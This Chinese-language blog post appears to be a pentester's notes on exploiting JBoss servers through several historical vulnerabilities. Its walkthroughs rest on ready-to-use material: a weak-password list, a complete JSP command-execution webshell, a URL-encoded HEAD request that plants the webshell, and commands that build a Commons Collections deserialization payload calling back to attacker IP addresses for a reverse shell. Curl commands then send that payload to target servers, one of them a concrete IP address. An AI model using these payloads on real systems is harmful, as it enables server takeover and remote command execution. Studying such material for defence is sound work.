jboss漏洞

jboss

简介

这个也是javaee的中间件

一个基于J2EE的开放源代码的应用服务器

JBoss 是一个管理 EJB 的容器和服务器,但 JBoss 核心服务不包括支持 servlet/JSP 的WEB容 器,一般与Tomcat或Jetty绑定使用。Jboss是 Java EE 应用服务器(就像Apache是web服务器一 样),专门用来运行Java EE程序的。

历史漏洞

  1. 未授权访问漏洞

    JMX Console未授权访问Getshell

    Administration Console 弱口令

    Getshell CVE-2007-1036 – JMX Console HtmlAdaptor Getshell

    CVE-2010-0738 – JMX控制台安全验证绕过漏洞

  2. 反序列化

    CVE-2013-4810 – JBoss EJBInvokerServlet 反序列化漏洞
    CVE-2015-7501 – JBoss JMXInvokerServlet 反序列化漏洞
    CVE-2017-7504 – JBoss 4.x JBossMQ JMS 反序列化漏洞
    CVE-2017-12149 – JBosS AS 6.X 反序列化漏洞

  3. 历史漏洞发现

    https://github.com/GGyao/jbossScan

    https://github.com/joaomatosf/jexboss

JMX Console 未授权访问漏洞

这个看起来很复杂,但是原理很简单

漏洞简介

Jboss的webUI界面 http://ip:port/jmx-console 未授权访问(或默认密码 admin/admin),可导 致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取 webshell

image-20240114135105053

这个是未授权访问,但是我们需要进一步利用它

漏洞复现

前面进入console之后,我们尝试上传我们的webshell
这里的webshell肯定还是war包

image-20240114135302923

点进去,找到一个addurl() string的函数

image-20240114135918346

这个地方填写我们的war包,但是这个是url,所以攻击机需要添加一个http.server

使用冰蝎创建jsp然后上传到攻击机

然后开启服务

image-20240114140515846

再将url填入进去

image-20240114140615188

填完了,让其执行

image-20240114140653536

出现了问题,应该是url出问题了

image-20240114140746086

稍微等一下

image-20240114140819203

发现已经存在就同意更改

image-20240114140853158

image-20240114140906594

尝试访问

image-20240114140943034

冰蝎连接

image-20240114154514092

上传不上可以尝试将war改一个名字

Jboss弱口令Getshell

JBoss Administration Console存在默认账号密码admin/admin,如果Administration Console可以登录,就可以在后台部署war包getshell

常见弱口令:

admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password

访问8080端口点击Administration Console,使用admin/admin进入后台,选择war包进行上传

漏洞利用

访问 http://xx.xx.xx.xx/admin-console

或者

image-20240114155740557

可以尝试爆破,或者多尝试几个弱密码

进入之后,点击war

image-20240114161114307

image-20240114161128719

image-20240114161150992

image-20240114161225168

image-20240114161256051

CVE-2007-1036

JMX Console HtmlAdaptor Getshell

漏洞简介

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机 制,导致攻击者可以进入到JMX控制台,并在其中执行任何功能。该漏洞利用的是后台中 jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中p1传入的是部署的war包名字,p2传入的是上传的文件的文件名,p3传入 的是上传文件的文件格式,p4传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制 整台服务器。但是通过实验发现,p2和p3可以进行文件的拼接,例如p2=she,p3=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下。

影响版本

jboss4.x以下

漏洞利用

利用后台中jboss.admin -> DeploymentFileRepository -> store()方法

直接上payload

http://xx.xx.xx.xx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

image-20240114161853903

找stor()

image-20240114161933840

将payload对应的填进去

1
2
3
4
5
p1   job1.war
p2 job1
p3 .jsp
p4 <%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>

之后同意更改

image-20240114163137517

然后访问http://xx.xx.xx.xx/job1/job1.jsp

image-20240114163107056

CVE-2010-0738

JMX Console安全验证绕过

漏洞简介

利用原理与CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和POST请求的限制

影响版本

jboss4.2.0-jboss4.3.0

漏洞利用

POC

1
2
3
4
5
6
7
8
9
10
HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=../jmx-console.war/&arg1=shell&arg2=.jsp&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%2a%22%20%25%3e%20%0d%0a%3c%25%20%53%74%72%69%6e%67%20%63%6d%64%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%20%53%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%22%22%3b%20%69%66%28%63%6d%64%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%53%74%72%69%6e%67%20%73%20%3d%20%6e%75%6c%6c%3b%20%74%72%79%20%7b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%6d%64%29%3b%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%73%49%20%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%20%77%68%69%6c%65%28%28%73%20%3d%20%73%49%2e%72%65%61%64%4c%69%6e%65%28%29%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%70%75%74%20%2b%3d%20%73%20%2b%22%5c%72%5c%6e%22%3b%20%7d%20%7d%20%63%61%74%63%68%28%49%4f%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%20%65%2e%70%72%69%6e%74%53%74%61%63%6b%54%72%61%63%65%28%29%3b%20%7d%20%7d%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6f%75%74%70%75%74%29%3b%25%3e&arg4=True HTTP/1.1
Host: .com:51783
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,la;q=0.8,en;q=0.7
Connection: close

主需要修改head 和后面的参数

image-20240114164016718

之后访问指定的路径就可以了

image-20240706115112631

http://ip:port/jmx-console/shell.jsp?cmd=id

CVE-2015-7501

JMXInvokerServlet 反序列化漏洞

漏洞简介

CVE-2015-7501,JBoss 在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器 中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,JBoss在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,从而导致了漏洞。

漏洞发现

访问 http://ip:port/invoker/JMXInvokerServlet,返回如下的response,说明接口是开放的,此接口存在漏洞

如果是下载文件就说明漏洞存在

image-20240706120749090

image-20240706120811911

漏洞利用

下载反序列化生成的工具

1
git clone https://github.com/joaomatosf/JavaDeserH2HC.git
1
2
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 124.71.45.28:1212

ip 是攻击机的IP

port 是nc监听的端口

image-20240706121247188

然后监听

image-20240114201343602

然后

1
curl http://xx.xx.xx.xx:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20240114201352463

正常反弹

CVE-2017-7504

JBossMQ JMS 反序列化漏洞

漏洞简介

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的 HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏 洞执行任意代码。

CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,CVE- 2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。JBoss AS 4.x及之前版本中, JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在

反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

影响版本

JBoss AS 4.x及之前版本

漏洞发现

访问http://47.104.255.11:60080/jbossmq-httpil/HTTPServerILServlet,若出现如下界面则存在漏洞

image-20240706122530939

漏洞利用

和上面一样的,只是接口不一样

1
2
git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC

使用nc打开端口监听,再用之前生成的.ser文件,通过POST二进制数据上去,使用nc监听端口,即 可拿到shell

1
curl http://ip:port/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-12149

Jboss Application Server反序列化命令执行漏洞

漏洞简介

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未 经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。

该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker组件中的 ReadOnlyAccessFilter过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反 序列化,从而导致了漏洞。

首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传 递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在 本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

影响版本

JBoss 5.x - 6.x

漏洞发现

访问http://ip:port/invoker/readonly,若返回如下显示状态码为500的报错界面,则证明漏洞存在

这个比较特殊

漏洞利用

1
2
3
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 120.27.61.239:4444

然后反弹

1
2
3
curl http://47.104.255.11:60080/invoker/readonly --data-binary @ReverseShellCom
monsCollectionsHashMap.ser


jboss漏洞
https://tsy244.github.io/2024/01/14/渗透/jboss漏洞/
Author
August Rosenberg
Posted on
January 14, 2024
Licensed under